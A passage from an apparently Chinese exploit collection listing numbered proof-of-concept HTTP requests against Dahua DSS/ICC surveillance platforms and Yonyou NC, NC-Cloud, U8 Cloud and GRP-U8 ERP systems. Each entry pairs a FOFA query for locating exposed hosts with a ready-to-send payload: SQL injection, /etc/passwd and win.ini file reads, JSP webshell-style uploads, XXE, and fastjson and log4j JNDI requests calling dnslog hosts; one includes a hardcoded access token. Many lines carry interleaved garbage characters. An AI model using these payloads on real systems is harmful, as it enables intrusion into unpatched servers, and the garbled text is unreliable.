* s2 b6 ]2 H, B5 l4 `4 H8 }3 Fpoc中调用函数计算1234的md5值
) M: g* e0 G8 q1 VGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
! g  |8 `& o" {( ]$ xHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Accept: */*
7 Q; a9 ]" n$ v) X$ X  z' g6 y/ ZAccept-Language: en
Accept-Encoding: gzip
. L+ r, R4 ?( M/ p5 [$ U/ ^/ I! C$ W
1 Y3 b4 y% s: s2 n/ j
17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
POST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
# ~: \0 B, I; y: GUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 345
( A* S0 @! q2 }, |* vAccept-Encoding: gzip

<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
5 |  H& ~  a( g# i4 v; S      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
- S  q, O2 Q* I* @      </netMarkings>
    </ns1:deleteBulletin>
) W! U- E3 i7 N1 z2 z& H  </s11:Body>
  U' r: [- j) G" ~- g7 A</s11:Envelope>
* l# t+ y. G6 D& K5 T0 f
5 F- F1 T1 i+ X5 u1 j$ T
6 `- n0 e6 h( d+ T! {5 R18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
* Y8 q$ L% I! b, h. ]) B0 HHost: your-ip
7 l2 `& _: J1 ^- SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
2 M2 X( k* D! ^% l( T: v7 y, ~Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
* u/ E/ v* U/ a9 N6 S

% F0 _( U& f8 G. L) z
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
! Z& Z* K/ Y4 E. k2 A0 Q  KFOFA：app="dahua-DSS"
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
Host:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
' z# Y7 q$ q7 u( e- dConnection: keep-alive
8 {, b3 ?$ F0 y& K! F0 ?

9 t9 Y9 ~5 e2 l" i- w- \5 d20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
) k( b0 f9 l; F# Z# _0 sConnection: close
  D1 d( h; D* [4 l( XAccept: */*
% x* y# e- a& nAccept-Language: en
6 s  M. G; x- t' U4 a8 cAccept-Encoding: gzip
5 m7 g( l/ h& n# c& S$ q8 s

2 j/ |+ `9 U. P, C9 n# P21. 大华ICC智能物联综合管理平台random远程代码执行
+ W/ F" ~) X2 Q( j( c1 S3 ~FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
: w- F% V* C$ ^' k1 _+ BHost: x.x.x.x
: t! F3 _! T2 C! t7 {User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 161
( s0 ]* R% v8 ~( f4 s' N1 m7 c3 w/ g; `Accept-Encoding: gzip
Connection: close
Content-Type: application/json;charset=utf-8
. D" m9 z- s6 L0 R8 v2 s  n
{
"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
% M0 m% _8 p& x& V# m  }""
}
# Y  E) v& {0 y7 M0 i% [# B! Q5 q
& e: v. |% K+ w+ ?
: u2 D, P: l+ Q5 o. p22. 大华ICC智能物联综合管理平台 log4j远程代码执行
& H" W, H( u% @( QFOFA：icon_hash="-1935899595"
# i  k& m$ s1 G- l. NPOST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
1 ^$ s! }5 u5 ]Host: your-ip
. B* V7 v( Y& `9 H" J5 Y2 ]1 I# d2 EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
/ z! ~, ^5 `+ A7 Y2 H7 @8 d9 fContent-Type: application/json;charset=utf-8
3 C0 m7 S4 a! K' Y+ v6 Y% {: ~0 }
/ z3 S4 o  Q" K* A! q{
"loginName":"${jndi:ldap://dnslog}"
}
1 u* y# e' T+ d' i8 {

0 E* a+ q$ l6 O4 r( t% Y
" o7 O: ?* Q4 N- O2 V23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
# I, v! ]/ {' b3 s! l: QHost: your-ip
4 ?/ i/ m1 y5 o0 T9 X( I8 {6 [8 NUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json;charset=utf-8
Accept-Encoding: gzip
( N2 O4 H, z9 ^Connection: close

{
    "a":{
  i1 |. J9 F. [7 K! w& l' D        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
        }""
  r8 s8 j& \8 R% A3 X7 C( E}

, X( X  [/ L& N- y4 K1 @
24. 用友NC 6.5 accept.jsp任意文件上传
8 }* W2 N% j: X6 v% bFOFA：icon_hash="1085941792"
/ r, A* Q0 |( TPOST /aim/equipmap/accept.jsp HTTP/1.1
! c9 w0 ?+ a* O& gHost: x.x.x.x
5 A# E/ I  y% |% l7 d1 yUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 449
% i. o, _! w2 e/ [3 @Accept: */*
- N. J2 q; `" g: fAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain
* i$ R7 Q% ^/ M- a; G  ?
8 i8 E) Y) C5 s3 h2 O<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
% Y  d9 I) g9 P6 u4 X9 ]-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"
- [' _7 d& A; Z$ M% [3 U
6 r' Y/ ]7 `! d; l2 ?\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
. R; f& I, k# a( H/ F& W
( R1 X4 X9 G- t
5 i6 F& X  \/ S0 ]25. 用友NC registerServlet JNDI 远程代码执行
  e+ d8 r' c4 m/ {FOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
2 }# G- B2 |1 R1 lHost: your-ip
- u( _# \1 T' k) [% LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
  K9 `9 Q" L! p" k1 Q3 l. e9 }Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
- h9 r5 Q% y0 X" N% fContent-Type: application/x-www-form-urlencoded

type=1&dsname=ldap://dnslog
- D6 ]2 h! {( g) S1 Q


) j4 h) {/ q2 ?' U% z9 X% V/ G26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
- }2 X& m* N  F" a/ GGET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
5 R4 q& T$ P' AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
/ d$ @! ^  D  l0 ^9 a) d8 {9 kAccept-Encoding: gzip, deflate
+ \$ S) j8 Z- L8 H0 K% _# s: n: LAccept: */*
/ H- j1 r/ q- C9 ~  pConnection: keep-alive


27. 用友 NC showcontent SQL注入
FOFA：icon_hash="1085941792"
- z  j9 `6 g" E; {: f) mGET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
! q1 C8 V& Z4 }& P$ B& v& [Host: your-ip
' B2 Y  Q" [) d8 Y* M, F- o5 pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
) U% b& k7 {/ o7 h$ o0 l: wAccept-Encoding: identity
Connection: close
Content-Type: text/xml; charset=utf-8
" \. A  w' U. G. j

, L& u# L0 X3 _! C& a28. 用友NC grouptemplet 任意文件上传
1 R" e+ W0 P- L4 G9 ~6 i8 @& ]FOFA：icon_hash="1085941792"
9 N% A* G- |6 n) O( @POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
& k$ t9 `5 f& k6 Q7 z- MHost: x.x.x.x
' y5 @  D( J3 UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
/ n7 G9 S$ C( \* @/ ^3 aConnection: close
7 U9 G" c# o0 OContent-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip

------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
* g- M) x; ]4 A- ?7 oContent-Type: application/octet-stream
, g! @6 E& ^6 S& b
" N2 I8 n9 H7 c" \+ y- p) M<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
. m/ I; @( t( E. H) f, c

" [6 S0 X4 e& M1 a7 H/uapim/static/pages/nc/head.jsp
; }+ y7 ]. l/ y0 _, m3 K
( _  m  K/ Y2 w) T$ N+ O. s, j29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
1 n  q1 f6 p: hHost: your-ip
" i3 [9 S" {' F8 `6 zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
2 [* g7 }# j# n7 [6 B( Y: |; ~Accept: */*
Connection: keep-alive

2 ?$ o. W$ w2 x: M* Q! f/ o
0 m# g9 L; t/ F, I, @) Q30. 用友NC importPml SQL注入
. z# ~3 U$ L" a8 d. xFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
7 a; D8 q7 R( R1 F3 @1 Q( [0 T0 b) XPOST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
2 `5 l+ B" d* ]& X9 XHost: your-ip
/ ]8 E  B, m6 q+ `2 o+ DContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
1 J% w! B4 X( p3 C! q( [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
" A9 B  i" J/ m7 [3 S2 e  g8 X8 iConnection: close

------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
; U" v& m4 \0 V* M& A' w# o) JContent-Type: image/jpeg
, F$ V/ }' x7 s* [$ |------WebKitFormBoundaryH970hbttBhoCyj9V--
0 V7 w2 C  K# H+ ]+ _, f( R

31. 用友NC runStateServlet SQL注入
version<=6.5
* B2 V3 P* J& ~4 OFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: host
, D1 Q0 q  D* w! SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
3 m3 R, a9 b) c4 e$ ]0 o) kContent-Type: application/x-www-form-urlencoded


: O6 @* D  G/ @+ O# Z9 l' h32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
FOFA：app="用友-UFIDA-NC"
1 {# s3 v7 \) c. CGET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
3 F- U* J+ G: n+ YHost: your-ip
4 w1 e7 Q4 |, a- N, SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
5 }" G1 n$ T9 L+ tContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
$ s+ r+ a- u( t& ~/ T* y$ a  @Accept: */*
Connection: keep-alive


4 J8 C5 n, ?0 a$ [7 L* J# o6 s33. 用友NC downTax/download SQL注入
version：NC6.5FOFA：app="用友-UFIDA-NC"
GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
. @2 H  d( L3 t% c( m6 U" }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
* N4 r. l, ?7 z; ~5 W9 jAccept-Encoding: gzip, deflate
) _# ?& e# _% `# n( NAccept: */*
Connection: keep-alive
9 v( o" J( u5 K1 o" t
  T3 G7 v3 X: T* S+ S  I
34. 用友NC warningDetailInfo接口SQL注入
  B' T& Z( n; U- r/ x1 r( ~FOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
9 Z7 M  h- G, t+ T; A6 @  YHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
; o3 b( ?; u/ o" u- m  i& @Accept: */*
( t# H6 T0 D5 q- ?9 _Connection: keep-alive


35. 用友NC-Cloud importhttpscer任意文件上传
% V/ z: n  t7 mFOFA：app="用友-NC-Cloud"
8 K7 |& e- p3 k; y. `POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
4 d2 O& h; f! E, P5 AHost: 203.25.218.166:8888
. x' {# b' D5 I5 ]$ {User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
1 c! i! S1 F0 u! R# o! aAccept-Encoding: gzip, deflate
! \0 d" q, W  U- ?3 ?! _0 J. m$ rAccept: */*
9 O4 S* S4 ~4 R8 h* `) cConnection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
: j' W" m4 P% h  L; m! }2 {Content-Length: 190
: G) o6 u$ }' }2 N' o) OContent-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
: G0 o$ G; u' h/ m
$ j9 J/ B# F1 x, ^7 p8 [8 p$ }--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
. b' _7 W0 B5 z- L, E
: i6 ^! ~% D: u- y1 @1 D+ F<%out.println(1111*1111);%>
5 o0 I! W/ c% p3 F: b--fd28cb44e829ed1c197ec3bc71748df0--

  [+ J# m) A8 t) b8 t% M
) c. d$ Z! L6 f6 W$ J. ]" \; ?1 f36. 用友NC-Cloud soapFormat XXE
6 r" T" ?% t, @/ T7 d; ^FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
" p; o, x: Y5 rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
+ f1 {, x+ t. t+ wAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
  C& T! b& d& {0 D7 u! z3 M; YAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
/ M0 {  E3 {9 }  x( y3 sContent-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
" X9 k% a1 Y) ^4 ?8 B0 ~: Y8 e
msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a


1 X4 @7 d0 I  ~* X; f37. 用友NC-Cloud IUpdateService XXE
9 F- `: Z7 t! C; J% t% h- a( `2 sFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
  G' J/ ]6 j3 ]+ e7 NHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
4 \# k2 q# z! TContent-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
* Y+ z# B6 @* @0 z9 K  W: FAccept-Language: zh-CN,zh;q=0.9
Connection: close
2 _  e: l8 K% p% \Content-Type: text/xml;charset=UTF-8
% ?5 d4 M' i) H; E7 mSOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1
& a( N) d: n* q, c! S# R2 P
0 ^1 t: C' V% b" T& g<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
<soapenv:Body>
<iup:getResult>
, b; E$ \2 ~2 ^+ H2 e<!--type: string-->
<iup:string><![CDATA[
' L0 P4 W/ w# d<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
<xxx/>]]></iup:string>
</iup:getResult>
</soapenv:Body>
</soapenv:Envelope>

  S# x0 M# Y8 Y8 @

38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
& b% E4 A1 Y5 A( IHost: 192.168.40.131:8088
5 n2 L) N% G  z( c- d) p3 cUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Content-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
2 R. P- r6 s& O7 E) fAccept-Encoding: gzip, deflate
" A, t* p$ L" j0 `$ }: TAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

0 i- ~9 y- a& @7 ?4 j) I__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>


39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
POST /servlet/RegisterServlet HTTP/1.1
  A! s( f* R( g: F- D1 UHost: 192.168.86.128:8089
: I! n$ H7 i3 Q$ ]# DUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
- Z# k! ]8 S. w5 AConnection: close
Content-Length: 85
/ L( x0 o9 C; s- j" P4 _Accept: */*
! s8 t0 q! v: I: z+ pAccept-Language: en
1 p7 B3 m/ d  d+ K& q% C# A  hContent-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
1 j  P. V8 s8 J' r8 ~. L+ QAccept-Encoding: gzip
! V& S6 p3 V# c' z2 ]
usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
9 o9 x  l, Q& z, K: }. _

40. 用友U8-Cloud XChangeServlet XXE
6 z" c9 K: H1 s6 g6 n, vFOFA：app="用友-U8-Cloud"
, ^: t( ^( e( B0 y& _( ~POST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: text/xml
- ^; u- q* J7 d: p& iConnection: close

' S' V$ d, `6 P6 B& E2 f+ \) ]<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
  Z0 P. n' I. C/ U; Y6 C7 C- F

41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
% c6 y+ J7 p  n' ~$ k; j# i3 uFOFA：app="用友-U8-Cloud"
( r2 X$ x7 e7 ~# P+ |GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
) Y$ }7 G0 H2 n5 FHost:
* |& H& J- Y8 M" C) SUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
" b9 G9 z4 I- Z1 HContent-Type: application/json
$ y" @& d' r4 b8 E/ D9 cAccept-Encoding: gzip
Connection: close

. p; K2 V( X& l5 H3 J6 ^
42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
POST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
. u2 f8 G% }% A: X' sUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

6 K" k. u, G6 ZPAYLOAD
8 ~" _$ E; B- L1 ~& `# M
6 [( b: u% r% T* a
4 _* i( _) ^. d7 s: l% _http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
2 t1 a# A. {- Q1 F
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
) L' J/ h5 p1 E; j) W! }: u& oPOST /services/userInfoWeb HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
( m0 O, V8 K/ C1 j8 CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
1 U' c  o& v- Y. @; ^$ [4 AAccept-Language: zh-CN,zh;q=0.9
0 [; V. A: B6 f  B! BConnection: close
SOAPAction:
, v* L. Q; s7 |2 T7 u$ l8 M$ _: SContent-Type: text/xml;charset=UTF-8

2 ~" @9 w6 z$ _( W/ ~& _<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
* M( F( ]8 H1 B7 w8 J   <soapenv:Header/>
) h1 M6 I% X* D   <soapenv:Body>
! [3 E0 Y) {& j% p      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
( u/ p  l1 S7 X/ s* y         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
      </ser:getUserNameById>
   </soapenv:Body>
</soapenv:Envelope>


44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
4 @8 N9 ]3 {  T- \! ~Host: your-ip
6 d1 E, S" _: ~/ I8 Z, PUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
1 v' a6 [! b2 r: c! {) ?Connection: close


45. 用友GRP-U8 ufgovbank XXE
) l( B/ ]6 J; u* R4 gFOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
) L/ j& n3 B8 `$ u* eConnection: close
Content-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" W+ j8 \# g$ ~+ }" L( D- sAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

4 }. M, }# B. ~( X- {: PreqData=<?xml version="1.0"?>
& Y) T. m+ O7 }- z<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest


46. 用友GRP-U8 sqcxIndex.jsp SQL注入
( i1 c4 o9 _* lFOFA：app="用友-GRP-U8"
* _# C0 ^! o& B, w, _GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
; G3 d2 X: l. |" C5 t  ]User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
: F' L0 w9 v" R, C( \# YAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
4 q& u* D$ G7 ^' L1 z9 f9 [" f
2 Q- L7 S! K7 F* Z7 }
47. 用友GRP A++Cloud 政府财务云 任意文件读取
FOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
0 r2 C. \6 S# ~; t4 dHost: x.x.x.x
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
